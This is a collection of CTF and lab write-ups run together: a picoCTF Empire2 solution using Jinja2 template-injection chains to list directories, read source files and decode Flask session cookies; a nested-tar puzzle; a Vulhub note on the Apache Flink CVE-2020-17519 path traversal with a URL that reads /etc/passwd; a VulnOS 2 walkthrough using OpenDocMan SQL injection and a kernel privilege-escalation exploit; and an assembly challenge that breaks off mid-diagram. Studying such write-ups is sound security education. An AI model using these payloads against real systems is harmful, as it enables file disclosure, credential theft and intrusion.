'sqlalchemy.orm.unitofwork.UOWTransaction'>, <class 'sqlalchemy.orm.unitofwork.IterateMappersMixin'>, <class 'sqlalchemy.orm.unitofwork.PostSortRec'>, <class 'sqlalchemy.orm.dependency.DependencyProcessor'>, <class 'sqlalchemy.orm.relationships.JoinCondition'>, <class 'sqlalchemy.orm.relationships._ColInAnnotations'>, <class 'sqlalchemy.orm.identity.IdentityMap'>, <class 'sqlalchemy.orm.session._SessionClassMethods'>, <class 'sqlalchemy.orm.session.SessionTransaction'>, <class 'sqlalchemy.orm.scoping.scoped_session'>, <class 'sqlalchemy.orm.strategies.LoadDeferredColumns'>, <class 'sqlalchemy.orm.strategies.LoadLazyAttribute'>, <class 'sqlalchemy.orm.strategies.SubqueryLoader._SubqCollections'>, <class 'sqlalchemy.orm.dynamic.AppenderMixin'>, <class 'sqlalchemy.orm.dynamic.CollectionHistory'>, <class 'sqlalchemy.orm.events._InstrumentationEventsHold'>, <class 'sqlalchemy.orm.events._EventsHold.HoldEvents'>, <class 'sqlalchemy.ext.baked.Bakery'>, <class 'sqlalchemy.ext.baked.BakedQuery'>, <class 'sqlalchemy.ext.baked.Result'>, <class 'sqlalchemy.ext.declarative.clsregistry._MultipleClassMarker'>, <class 'sqlalchemy.ext.declarative.clsregistry._ModuleMarker'>, <class 'sqlalchemy.ext.declarative.clsregistry._ModNS'>, <class 'sqlalchemy.ext.declarative.clsregistry._GetColumns'>, <class 'sqlalchemy.ext.declarative.clsregistry._GetTable'>, <class 'sqlalchemy.ext.declarative.clsregistry._class_resolver'>, <class 'sqlalchemy.ext.declarative.base._MapperConfig'>, <class 'sqlalchemy.ext.declarative.api.ConcreteBase'>, <class 'sqlalchemy.ext.declarative.api.DeferredReflection'>, <class 'flask_sqlalchemy.model.NameMetaMixin'>, <class 'flask_sqlalchemy.model.BindMetaMixin'>, <class 'flask_sqlalchemy.model.Model'>, <class 'flask_sqlalchemy._SessionSignalEvents'>, <class 'flask_sqlalchemy._EngineDebuggingSignalEvents'>, <class 'flask_sqlalchemy.Pagination'>, <class 'flask_sqlalchemy._QueryProperty'>, <class 'flask_sqlalchemy._EngineConnector'>, <class 'flask_sqlalchemy._SQLAlchemyState'>, <class 'flask_sqlalchemy.SQLAlchemy'>, <class 'flask_login.mixins.UserMixin'>, <class 'flask_login.mixins.AnonymousUserMixin'>, <class 'flask_login.login_manager.LoginManager'>, <class 'wtforms.validators.EqualTo'>, <class 'wtforms.validators.Length'>, <class 'wtforms.validators.NumberRange'>, <class 'wtforms.validators.Optional'>, <class 'wtforms.validators.DataRequired'>, <class 'wtforms.validators.InputRequired'>, <class 'wtforms.validators.Regexp'>, <class 'wtforms.validators.Email'>, <class 'wtforms.validators.IPAddress'>, <class 'wtforms.validators.UUID'>, <class 'wtforms.validators.AnyOf'>, <class 'wtforms.validators.NoneOf'>, <class 'wtforms.validators.HostnameValidation'>, <class 'wtforms.widgets.core.ListWidget'>, <class 'wtforms.widgets.core.TableWidget'>, <class 'wtforms.widgets.core.Input'>, <class 'wtforms.widgets.core.TextArea'>, <class 'wtforms.widgets.core.Select'>, <class 'wtforms.widgets.core.Option'>, <class 'wtforms.i18n.DefaultTranslations'>, <class 'wtforms.i18n.DummyTranslations'>, <class 'wtforms.utils.UnsetValue'>, <class 'wtforms.utils.WebobInputWrapper'>, <class 'wtforms.fields.core.Field'>, <class 'wtforms.fields.core.UnboundField'>, <class 'wtforms.fields.core.Flags'>, <class 'wtforms.fields.core.Label'>, <class 'wtforms.meta.DefaultMeta'>, <class 'wtforms.form.BaseForm'>, <class 'dominate.dom_tag.dom_tag'>, <class 'dominate.dom1core.dom1core'>, <class 'visitor.Visitor'>, <class 'flask_bootstrap.CDN'>, <class 'flask_bootstrap.StaticCDN'>, <class 'flask_bootstrap.WebCDN'>, <class 'flask_bootstrap.ConditionalCDN'>, <class 'flask_bootstrap.Bootstrap'>, <class 'zipfile.ZipInfo'>, <class 'zipfile._ZipDecrypter'>, <class 'zipfile.LZMACompressor'>, <class 'zipfile.LZMADecompressor'>, <class 'zipfile._SharedFile'>, <class 'zipfile._Tellable'>, <class 'zipfile.ZipFile'>, <class 'pyexpat.xmlparser'>, <class 'plistlib.Data'>, <class 'plistlib._PlistParser'>, <class 'plistlib._DumbXMLWriter'>, <class 'plistlib._BinaryPlistParser'>, <class 'plistlib._BinaryPlistWriter'>, <class 'pkg_resources.extern.VendorImporter'>, <class 'pkg_resources._vendor.six._LazyDescr'>, <class 'pkg_resources._vendor.six._SixMetaPathImporter'>, <class 'pkg_resources._vendor.six._LazyDescr'>, <class 'pkg_resources._vendor.six._SixMetaPathImporter'>, <class 'pkg_resources._vendor.appdirs.AppDirs'>, <class 'pkg_resources.extern.packaging._structures.Infinity'>, <class 'pkg_resources.extern.packaging._structures.NegativeInfinity'>, <class 'pkg_resources.extern.packaging.version._BaseVersion'>, <class 'pkg_resources.extern.packaging.specifiers.BaseSpecifier'>, <class 'pkg_resources._vendor.pyparsing._Constants'>, <class 'pkg_resources._vendor.pyparsing._ParseResultsWithOffset'>, <class 'pkg_resources._vendor.pyparsing.ParseResults'>, <class 'pkg_resources._vendor.pyparsing.ParserElement._UnboundedCache'>, <class 'pkg_resources._vendor.pyparsing.ParserElement._FifoCache'>, <class 'pkg_resources._vendor.pyparsing.ParserElement'>, <class 'pkg_resources._vendor.pyparsing._NullToken'>, <class 'pkg_resources._vendor.pyparsing.OnlyOnce'>, <class 'pkg_resources._vendor.pyparsing.pyparsing_common'>, <class 'pkg_resources.extern.packaging.markers.Node'>, <class 'pkg_resources.extern.packaging.markers.Marker'>, <class 'pkg_resources.extern.packaging.requirements.Requirement'>, <class 'pkg_resources.IMetadataProvider'>, <class 'pkg_resources.WorkingSet'>, <class 'pkg_resources.Environment'>, <class 'pkg_resources.ResourceManager'>, <class 'pkg_resources.NullProvider'>, <class 'pkg_resources.NoDists'>, <class 'pkg_resources.EntryPoint'>, <class 'pkg_resources.Distribution'>, <class 'six._LazyDescr'>, <class 'six._SixMetaPathImporter'>, <class 'apscheduler.events.SchedulerEvent'>, <class 'apscheduler.executors.base.BaseExecutor'>, <class 'apscheduler.jobstores.base.BaseJobStore'>, <class 'apscheduler.util._Undefined'>, <class 'apscheduler.triggers.base.BaseTrigger'>, <class 'apscheduler.job.Job'>, <class 'apscheduler.schedulers.base.BaseScheduler'>, <class 'jinja2.ext.Extension'>, <class 'jinja2.ext._CommentFinder'>, <class 'wtforms.csrf.core.CSRF'>, <class 'flask_wtf.csrf.CSRFProtect'>, <class 'flask_wtf.recaptcha.widgets.RecaptchaWidget'>, <class 'flask_wtf.recaptcha.validators.Recaptcha'>, <class 'sqlalchemy.dialects.sqlite.json._FormatTypeMixin'>, <class 'sqlalchemy.dialects.sqlite.base._DateTimeMixin'>, <class 'sqlite3.Row'>, <class 'sqlite3.Cursor'>, <class 'sqlite3.Connection'>, <class 'sqlite3Node'>, <class 'sqlite3.Cache'>, <class 'sqlite3.Statement'>, <class 'sqlite3.PrepareProtocol'>, <class 'unicodedata.UCD'>] (Cmd) send ''.__class__.mro()[1].__subclasses__()[157]()._module.__builtins__.__import__('os').listdir('.') Sending: '{{''.__class__.mro()[1].__subclasses__()[157]()._module.__builtins__.__import__('os').listdir('.')}}' ['server.py', 'app', 'xinet_startup.sh'] (Cmd) send ''.__class__.mro()[1].__subclasses__()[157]()._module.__builtins__['open']('server.py').read() Sending: '{{''.__class__.mro()[1].__subclasses__()[157]()._module.__builtins__['open']('server.py').read()}}' from app import app if __name__ == '__main__': app.run() (Cmd) send ''.__class__.mro()[1].__subclasses__()[157]()._module.__builtins__.__import__('os').listdir('app') Sending: '{{''.__class__.mro()[1].__subclasses__()[157]()._module.__builtins__.__import__('os').listdir('app')}}' ['templates', 'helpers.py', '__init__.py', 'config.py', 'models.py', 'routes.py'] (Cmd) send ''.__class__.mro()[1].__subclasses__()[157]()._module.__builtins__['open'](''.__class__.mro()[1].__subclasses__()[157]()._module.__builtins__.__import__('os').path.join('app', 'config.py')).read() Sending: '{{''.__class__.mro()[1].__subclasses__()[157]()._module.__builtins__['open'](''.__class__.mro()[1].__subclasses__()[157]()._module.__builtins__.__import__('os').path.join('app', 'config.py')).read()}}' import os basedir = os.path.abspath(os.path.dirname(__file__)) class Config(object): SECRET_KEY = 'picoCTF{your_flag_is_in_another_castle12345678}' SQLALCHEMY_DATABASE_URI = 'sqlite://' #SQLALCHEMY_DATABASE_URI = os.environ.get('DATABSE_URL') or 'sqlite:///'+os.path.join(basedir,'app.db') SQLALCHEMY_TRACK_MODIFICATIONS = False (Cmd) send ''.__class__.mro()[1].__subclasses__()[157]()._module.__builtins__['open'](''.__class__.mro()[1].__subclasses__()[157]()._module.__builtins__.__import__('os').path.join('app', '__init__.py')).read() Sending: '{{''.__class__.mro()[1].__subclasses__()[157]()._module.__builtins__['open'](''.__class__.mro()[1].__subclasses__()[157]()._module.__builtins__.__import__('os').path.join('app', '__init__.py')).read()}}' from flask import Flask from app.config import Config from flask_sqlalchemy import SQLAlchemy from flask_login import LoginManager from flask_bootstrap import Bootstrap import time,atexit from apscheduler.schedulers.background import BackgroundScheduler app = Flask(__name__) app.config.from_object(Config) db = SQLAlchemy(app) login = LoginManager(app) login.login_view = 'login' bootstrap=Bootstrap(app) from app import routes,models def DB_init(db): db.drop_all() db.create_all() u = models.User(username='jarrett.booz',password_hash='deadbeef',id=1,admin=0,secret='Likes Oreos.', name="Jarrett Booz") db.session.add(u) u = models.User(username='danny.tunitis',password_hash='deadbeef',id=2,admin=0,secret='Know it all.', name= "Danny Tunitis") db.session.add(u) c = models.Todo(item='Shrink the moon', user_id=1) db.session.add(c) c = models.Todo(item='Grab the moon', user_id=1) db.session.add(c) c = models.Todo(item='Sit on the toilet', user_id=1) db.session.add(c) db.session.commit() try: DB_init(db) scheduler = BackgroundScheduler() scheduler.add_job(func=DB_init,args=(db,),trigger="interval",hours=2) scheduler.start() atexit.register(lambda: scheduler.shutdown()) except Exception as e: print(e) (Cmd) send ''.__class__.mro()[1].__subclasses__()[157]()._module.__builtins__['open'](''.__class__.mro()[1].__subclasses__()[157]()._module.__builtins__.__import__('os').path.join('app', 'models.py')).read() Sending: '{{''.__class__.mro()[1].__subclasses__()[157]()._module.__builtins__['open'](''.__class__.mro()[1].__subclasses__()[157]()._module.__builtins__.__import__('os').path.join('app', 'models.py')).read()}}' from app import db,login from werkzeug.security import generate_password_hash,check_password_hash from flask_login import UserMixin @login.user_loader def load_user(id): return User.query.get(int(id)) class User(UserMixin, db.Model): id = db.Column(db.Integer, primary_key=True) username = db.Column(db.String(64),index=True,unique=True) name = db.Column(db.String(128)) password_hash = db.Column(db.String(128)) secret = db.Column(db.String(128),default="picoCTF{its_a_me_your_flag5c0e0ae8}") admin = db.Column(db.Integer,default=0) def set_password(self,password): self.password_hash = generate_password_hash(password) def check_password(self,password): return check_password_hash(self.password_hash,password) def __repr__(self): return '<User {}>'.format(self.username) class Todo(db.Model): id = db.Column(db.Integer,primary_key=True) item = db.Column(db.String(256)) user_id = db.Column(db.Integer,db.ForeignKey('user.id')) def __repr__(self): return '<Todo {}>'.format(self.id) ``` We can see that the flag is located in the source of `models.py`: `picoCTF{its_a_me_your_flag5c0e0ae8}`. Since it is inserted into the DB, this might be an unintended solution. ## Additional Solutions Two more ways to solve the challenge, based on other writeups: #### Session The flag is in the user session ([source](https://github.com/roothuntervn/CTF-Writeup/blob/e85042ca05eede0591841c8da6e3f4af2f0b47a3/picoCTF-2019/Web/empire-2/README.md)): ```console root@kali:/media/sf_CTFs/pico/Empire2# python shell.py Logged in (Cmd) send session Sending: '{{session}}' <SecureCookieSession {'_fresh': True, '_id': '3898c6835dcd0270702e6730af6bfe5706c798e5239b48c704db909659fbfba4610afd8be05b0a827eda02cb65fe7dc75a2f84325654bddbbbc922a3c5e4f79d', 'csrf_token': '4eff1dd062289b5e4144c3a136d6516ac2430ad9', 'dark_secret': 'picoCTF{its_a_me_your_flag5c0e0ae8}', 'user_id': '3'}> (Cmd) ``` #### Flask Cookie We can decode the cookie with the secret key ([source](http://cyberchallenge.unica.it/index.php/2019/10/13/web-empire2/)). This is probably the intended solution. We dump the config: ```console root@kali:/media/sf_CTFs/pico/Empire2# python shell.py Logged in (Cmd) send config Sending: '{{config}}' <Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': 'picoCTF{your_flag_is_in_another_castle12345678}', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'SQLALCHEMY_DATABASE_URI': 'sqlite://', 'SQLALCHEMY_TRACK_MODIFICATIONS': False, 'SQLALCHEMY_BINDS': None, 'SQLALCHEMY_NATIVE_UNICODE': None, 'SQLALCHEMY_ECHO': False, 'SQLALCHEMY_RECORD_QUERIES': None, 'SQLALCHEMY_POOL_SIZE': None, 'SQLALCHEMY_POOL_TIMEOUT': None, 'SQLALCHEMY_POOL_RECYCLE': None, 'SQLALCHEMY_MAX_OVERFLOW': None, 'SQLALCHEMY_COMMIT_ON_TEARDOWN': False, 'SQLALCHEMY_ENGINE_OPTIONS': {}, 'BOOTSTRAP_USE_MINIFIED': True, 'BOOTSTRAP_CDN_FORCE_SSL': False, 'BOOTSTRAP_QUERYSTRING_REVVING': True, 'BOOTSTRAP_SERVE_LOCAL': False, 'BOOTSTRAP_LOCAL_SUBDOMAIN': None}> ``` The secret key is: ``` 'SECRET_KEY': 'picoCTF{your_flag_is_in_another_castle12345678}' ``` Now we fetch the cookie: ```console root@kali:/media/sf_CTFs/pico/Empire2# curl "https://2019shell1.picoctf.com/problem/13253/login" --cookie "cookies.txt" --cookie-jar "cookies.txt" -s -v --data "csrf_token=$(curl "https://2019shell1.picoctf.com/problem/13253/login" --cookie "cookies.txt" --cookie-jar "cookies.txt" -s | grep csrf | awk '{ printf $5 }' | sed 's/value="//g' | sed 's/">//')&username=user&password=password" 2>&1 | grep Cookie > Cookie: session=eyJfZnJlc2giOmZhbHNlLCJjc3JmX3Rva2VuIjoiZDU1MzkwODhkZGNhY2Y4NmZmZDYzYjJlNWIyZTJkMWVhOGM3YjUxNiJ9.XaWvuQ.O3jA4KKsTj0ZUrOcDxKxY29EIng < Vary: Cookie < Set-Cookie: session=.eJwljzlqA0EUBe_SsYJe_qrLiP4bNgYbZqTI-O4acPDCour9tkcdeX60-_N45a09PqPdm0KV7kWJyMEbnDNCycmhVKX3jh25g1lZmuCetFXZcuiMwQTTRPrwpZGFq88xEFYIb9YSJQAunZgbFJzQISZOBzaiUWC73ZqfRz2eP1_5ffUE4tIuEuHbS6gqaNlMvHYJc4uz4aCLe515_J9Y7e8NdkY-9w.XaWvvA.J1ZL5OMpkoGhBUIwKwNMh0Qxj_w; HttpOnly; Path=/ ``` And try to decode it with [flask-session-cookie-manager](https://github.com/noraj/flask-session-cookie-manager): ```console root@kali:/media/sf_CTFs/pico/Empire2# c=.eJwljzlqA0EUBe_SsYJe_qrLiP4bNgYbZqTI-O4acPDCour9tkcdeX60-_N45a09PqPdm0KV7kWJyMEbnDNCycmhVKX3jh25g1lZmuCetFXZcuiMwQTTRPrwpZGFq88xEFYIb9YSJQAunZgbFJzQISZOBzaiUWC73ZqfRz2eP1_5ffUE4tIuEuHbS6gqaNlMvHYJc4uz4aCLe515_J9Y7e8NdkY-9w.XaWvvA.J1ZL5OMpkoGhBUIwKwNMh0Qxj_w root@kali:/media/sf_CTFs/pico/Empire2# python ~/utils/flask-session-cookie-manager/flask_session_cookie_manager2.py decode -s 'picoCTF{your_flag_is_in_another_castle12345678}' -c "$c" {u'csrf_token': u'd5539088ddcacf86ffd63b2e5b2e2d1ea8c7b516', u'_fresh': True, u'user_id': u'3', u'_id': u'94ff9a36e557d7a4c7edd96c6c4f998000505704bbfbeb85a26a997be192d17642b8801c39def530211543d87a79f896447f925ea494c65c4d252c47b661f4ba'} ``` No flag yet. We try to add an item and then decode the new cookie: ```console root@kali:/media/sf_CTFs/pico/Empire2# curl "https://2019shell1.picoctf.com/problem/13253/add_item" --cookie "cookies.txt" --cookie-jar "cookies.txt" -s -v --data "csrf_token=$(curl "https://2019shell1.picoctf.com/problem/13253/add_item" --cookie "cookies.txt" --cookie-jar "cookies.txt" -s | grep csrf | awk '{ printf $5 }' | sed 's/value="//g' | sed 's/">//')&item=test" 2>&1 | grep Cookie > Cookie: session=.eJwljzlqA0EUBe_SsYJe_qrLiP4bNgYbZqTI-O4acPDCour9tkcdeX60-_N45a09PqPdm0KV7kWJyMEbnDNCycmhVKX3jh25g1lZmuCetFXZcuiMwQTTRPrwpZGFq88xEFYIb9YSJQAunZgbFJzQISZOBzaiUWC73ZqfRz2eP1_5ffUE4tIuEuHbS6gqaNlMvHYJc4uz4aCLe515_J9Y7e8NdkY-9w.XaWvvA.J1ZL5OMpkoGhBUIwKwNMh0Qxj_w < Vary: Cookie < Set-Cookie: session=.eJwlT0tqQzEQu0rwOgt_Zsae7LrsGUoI9nya0iaF55dVyN1r6EIIgYSkZ7j4T59Xm-H08QyHfVG42Zz908IxvO92O7ypmobz63xc5s3mNZz27WFLfWk4BQZ37oUMsWrtINVUmYQEnLnFGDFijTCGDxsNe6bOXIclzpoqQR6txSSF1RxLzCkhFG21V_bGBFCdM1oHBiEU0IxZoA6i5DD6milz88v--233tUcRC8fWVKWLN3JXKiMbLqxC603qwEQr95i2_Z8o4fUHY_tNeg.XaWweA.GMksoJhXdbLCFk4pNRiOwzFa-J8; HttpOnly; Path=/ root@kali:/media/sf_CTFs/pico/Empire2# c=.eJwlT0tqQzEQu0rwOgt_Zsae7LrsGUoI9nya0iaF55dVyN1r6EIIgYSkZ7j4T59Xm-H08QyHfVG42Zz908IxvO92O7ypmobz63xc5s3mNZz27WFLfWk4BQZ37oUMsWrtINVUmYQEnLnFGDFijTCGDxsNe6bOXIclzpoqQR6txSSF1RxLzCkhFG21V_bGBFCdM1oHBiEU0IxZoA6i5DD6milz88v--233tUcRC8fWVKWLN3JXKiMbLqxC603qwEQr95i2_Z8o4fUHY_tNeg.XaWweA.GMksoJhXdbLCFk4pNRiOwzFa-J8 root@kali:/media/sf_CTFs/pico/Empire2# python ~/utils/flask-session-cookie-manager/flask_session_cookie_manager2.py decode -s 'picoCTF{your_flag_is_in_another_castle12345678}' -c "$c" {u'_id': u'94ff9a36e557d7a4c7edd96c6c4f998000505704bbfbeb85a26a997be192d17642b8801c39def530211543d87a79f896447f925ea494c65c4d252c47b661f4ba', u'_fresh': True, u'user_id': u'3', u'csrf_token': u'd5539088ddcacf86ffd63b2e5b2e2d1ea8c7b516', u'_flashes': [(u'message', u'Item Added')]} ``` No cookie yet. Maybe we need to list the items? ```console root@kali:/media/sf_CTFs/pico/Empire2# curl "https://2019shell1.picoctf.com/problem/13253/list_items" --cookie "cookies.txt" --cookie-jar "cookies.txt" -s -v 2>&1 | grep Cookie > Cookie: session=.eJwlT0tqQzEQu0rwOgt_Zsae7LrsGUoI9nya0iaF55dVyN1r6EIIgYSkZ7j4T59Xm-H08QyHfVG42Zz908IxvO92O7ypmobz63xc5s3mNZz27WFLfWk4BQZ37oUMsWrtINVUmYQEnLnFGDFijTCGDxsNe6bOXIclzpoqQR6txSSF1RxLzCkhFG21V_bGBFCdM1oHBiEU0IxZoA6i5DD6milz88v--233tUcRC8fWVKWLN3JXKiMbLqxC603qwEQr95i2_Z8o4fUHY_tNeg.XaWweA.GMksoJhXdbLCFk4pNRiOwzFa-J8 < Vary: Cookie < Set-Cookie: session=.eJwlkL1qQzEMhV8leM7gP9lWtlIodO9WwkWW5CQkaYp9M5SQd69LB3EQnA-do4dZ2oXGUYfZfT7MZp1irjoGHdRszfuq182LiIrZP_fbae46jma39rvO7SRmZzC2hhSSAmTJFDmrCCZOHBtisdaChWxjra1qLUA-EWKu6tCLyyn6Wop1HFC0QbDeOYhBSqaMrWCKMTf0oBQxcgKO4sFzzDUl12KlGZNHb8t6O-vXzCMAAW0pIkzcSmpNUqheYc48qFQ4V3BpckL9vAzlrrO3-T7x7fXj7XFax0LLVZef273_vecAbNWSludk7kP7f_Fgnr8_qWAy.XaWwzw.3uQye2Z-VwJiYXfe6SBN2DGivGU; HttpOnly; Path=/ root@kali:/media/sf_CTFs/pico/Empire2# c=.eJwlkL1qQzEMhV8leM7gP9lWtlIodO9WwkWW5CQkaYp9M5SQd69LB3EQnA-do4dZ2oXGUYfZfT7MZp1irjoGHdRszfuq182LiIrZP_fbae46jma39rvO7SRmZzC2hhSSAmTJFDmrCCZOHBtisdaChWxjra1qLUA-EWKu6tCLyyn6Wop1HFC0QbDeOYhBSqaMrWCKMTf0oBQxcgKO4sFzzDUl12KlGZNHb8t6O-vXzCMAAW0pIkzcSmpNUqheYc48qFQ4V3BpckL9vAzlrrO3-T7x7fXj7XFax0LLVZef273_vecAbNWSludk7kP7f_Fgnr8_qWAy.XaWwzw.3uQye2Z-VwJiYXfe6SBN2DGivGU root@kali:/media/sf_CTFs/pico/Empire2# python ~/utils/flask-session-cookie-manager/flask_session_cookie_manager2.py decode -s 'picoCTF{your_flag_is_in_another_castle12345678}' -c "$c" {u'csrf_token': u'd5539088ddcacf86ffd63b2e5b2e2d1ea8c7b516', u'user_id': u'3', u'_flashes': [(u'message', u'Item Added')], u'_fresh': True, u'dark_secret': u'picoCTF{its_a_me_your_flag5c0e0ae8}', u'_id': u'94ff9a36e557d7a4c7edd96c6c4f998000505704bbfbeb85a26a997be192d17642b8801c39def530211543d87a79f896447f925ea494c65c4d252c47b661f4ba'} ``` We can finally see the flag using this method. Template injection was much easier :-)
sec-knowleage
# like1000 Forensics, 250 points ## Description: > This .tar file got tarred alot. ## Solution: Let's extract the file: ```console root@kali:/media/sf_CTFs/pico/like1000# mkdir out root@kali:/media/sf_CTFs/pico/like1000# cd out root@kali:/media/sf_CTFs/pico/like1000/out# cp ../1000.tar . root@kali:/media/sf_CTFs/pico/like1000/out# tar -xvf 1000.tar 999.tar filler.txt ``` We got a file names `999.tar`. Let's extract it: ```console root@kali:/media/sf_CTFs/pico/like1000/out# tar -xvf 999.tar 998.tar filler.txt ``` Now we got a file names 998.tar. Let's assume that the next file will be named `997.tar` and so on, and use the following script to extract the files in a loop: ```bash #!/bin/bash cp 1000.tar out cd out for ((i = 1000; i > 0; i--)); do if [ ! -f "$i.tar" ]; then break fi tar -xvf $i.tar rm $i.tar done cd .. ``` After running the script, we get a PNG file with the flag: `picoCTF{l0t5_0f_TAR5}`.
sec-knowleage
# Apache Flink `jobmanager/logs` Path Traversal (CVE-2020-17519) Apache Flink is an open source stream processing framework with powerful stream- and batch-processing capabilities. A change introduced in Apache Flink 1.11.0 (and released in 1.11.1 and 1.11.2 as well) allows attackers to read any file on the local filesystem of the JobManager through the REST interface of the JobManager process. References: - https://github.com/apache/flink/commit/b561010b0ee741543c3953306037f00d7a9f0801 - https://nvd.nist.gov/vuln/detail/CVE-2020-17519 ## Environment Setup Execute following commands to start a Apache Flink jobmanager 1.11.2: ``` docker compose up -d ``` After the Apache Flink is started, visit `http://your-ip:8081` to view the homepage. ## Exploit Disclose the `/etc/passwd`: ``` http://your-ip:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd ``` ![](1.png)
sec-knowleage
# VulnOS 2 下载地址:https://download.vulnhub.com/vulnos/VulnOSv2.7z > 使用VirtualBox进行打开,调整USB为1.0才可以启动 > > ![image-20220608110526109](../../.gitbook/assets/image-20220608110526109.png) ## 实战操作 扫描到靶场IP:`192.168.32.4` ![image-20220608112207179](../../.gitbook/assets/image-20220608112207179.png) 扫描对外开放端口 ``` ┌──(root㉿kali)-[~] └─# nmap -sV -p1-65535 192.168.32.4 Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-07 23:31 EDT Nmap scan report for 192.168.32.4 Host is up (0.00014s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.6 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) 6667/tcp open irc ngircd MAC Address: 08:00:27:57:4F:AA (Oracle VirtualBox virtual NIC) Service Info: Host: irc.example.net; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 13.27 seconds ``` 浏览器访问80端口 ![image-20220608113431041](../../.gitbook/assets/image-20220608113431041.png) 跟随链接进入到一个公司的介绍页面 ![image-20220608122933459](../../.gitbook/assets/image-20220608122933459.png) 来到documenttation页面,没有看到什么东西。 ![image-20220608123025704](../../.gitbook/assets/image-20220608123025704.png) 全选页面就可以看到一个路径`/jabcd0cs`和登录密码`guest/guest` ![image-20220608123031066](../../.gitbook/assets/image-20220608123031066.png) ![image-20220608123342622](../../.gitbook/assets/image-20220608123342622.png) 登录进去之后 ![image-20220608123409675](../../.gitbook/assets/image-20220608123409675.png) 寻找opendocman的利用漏洞 ![image-20220608123641320](../../.gitbook/assets/image-20220608123641320.png) 找到SQL注入漏洞 ``` 1) SQL Injection in OpenDocMan: CVE-2014-1945 The vulnerability exists due to insufficient validation of "add_value" HTTP GET parameter in "/ajax_udf.php" script. A remote unauthenticated attacker can execute arbitrary SQL commands in application's database. The exploitation example below displays version of the MySQL server: http://[host]/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,v ersion%28%29,3,4,5,6,7,8,9 ``` ![image-20220608123954047](../../.gitbook/assets/image-20220608123954047.png) 使用sqlmap进行SQL注入检测 ![image-20220608125828265](../../.gitbook/assets/image-20220608125828265.png) 找到webmin用户和密码哈希值。 ![image-20220608133000077](../../.gitbook/assets/image-20220608133000077.png) 解密密码哈希值 ![image-20220608133136910](../../.gitbook/assets/image-20220608133136910.png) 直接SSH登录 ![image-20220608133214918](../../.gitbook/assets/image-20220608133214918.png) 查看内核版本 ``` webmin@VulnOSv2:~$ uname -a Linux VulnOSv2 3.13.0-24-generic #47-Ubuntu SMP Fri May 2 23:31:42 UTC 2014 i686 i686 i686 GNU/Linux webmin@VulnOSv2:~$ cat /proc/version Linux version 3.13.0-24-generic (buildd@komainu) (gcc version 4.8.2 (Ubuntu 4.8.2-19ubuntu1) ) #47-Ubuntu SMP Fri May 2 23:31:42 UTC 2014 webmin@VulnOSv2:~$ cat /etc/issue ### Welcome to VulnOSv2 ### webmin@VulnOSv2:~$ cat /etc/*-release DISTRIB_ID=Ubuntu DISTRIB_RELEASE=14.04 DISTRIB_CODENAME=trusty DISTRIB_DESCRIPTION="Ubuntu 14.04.4 LTS" NAME="Ubuntu" VERSION="14.04.4 LTS, Trusty Tahr" ID=ubuntu ID_LIKE=debian PRETTY_NAME="Ubuntu 14.04.4 LTS" VERSION_ID="14.04" HOME_URL="http://www.ubuntu.com/" SUPPORT_URL="http://help.ubuntu.com/" BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/" ``` 查看提权脚本 ![image-20220608133528593](../../.gitbook/assets/image-20220608133528593.png) 复制EXP ``` ┌──(root㉿kali)-[/tmp] └─# searchsploit -m linux/local/37292.c Exploit: Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation URL: https://www.exploit-db.com/exploits/37292 Path: /usr/share/exploitdb/exploits/linux/local/37292.c File Type: C source, ASCII text, with very long lines (466) Copied to: /tmp/37292.c ``` 提权成功 ![image-20220608133746321](../../.gitbook/assets/image-20220608133746321.png) 获取flag.txt内容 ![image-20230208161214059](../../.gitbook/assets/image-20230208161214059.png)
sec-knowleage
# assembly-2 Reversing, 250 points ## Description: > What does asm2(0x7,0x28) return? Submit the flag as a hexadecimal value (starting with '0x'). ```assembly .intel_syntax noprefix .bits 32 .global asm2 asm2: push ebp mov ebp,esp sub esp,0x10 mov eax,DWORD PTR [ebp+0xc] mov DWORD PTR [ebp-0x4],eax mov eax,DWORD PTR [ebp+0x8] mov DWORD PTR [ebp-0x8],eax jmp part_b part_a: add DWORD PTR [ebp-0x4],0x1 add DWORD PTR [ebp+0x8],0x76 part_b: cmp DWORD PTR [ebp+0x8],0xa1de jle part_a mov eax,DWORD PTR [ebp-0x4] mov esp,ebp pop ebp ret ``` ## Solution: This is how the stack looks like after performing the `sub esp,0x10` command: ``` +---------+ | | <-- ebp - 0x10 (local4) +---------+ | | <-- ebp - 0xc (local3) +---------+ | | <-- ebp - 0x8 (local2) +---------+ | | <-- ebp - 0x4 (local1) +---------+ | old ebp | <-- ebp +---------+ | ret | <-- ebp + 0x4 +---------+ | 0x7 | <-- ebp + 0x8 (arg1) +---------+ | 0x28 | <-- ebp + 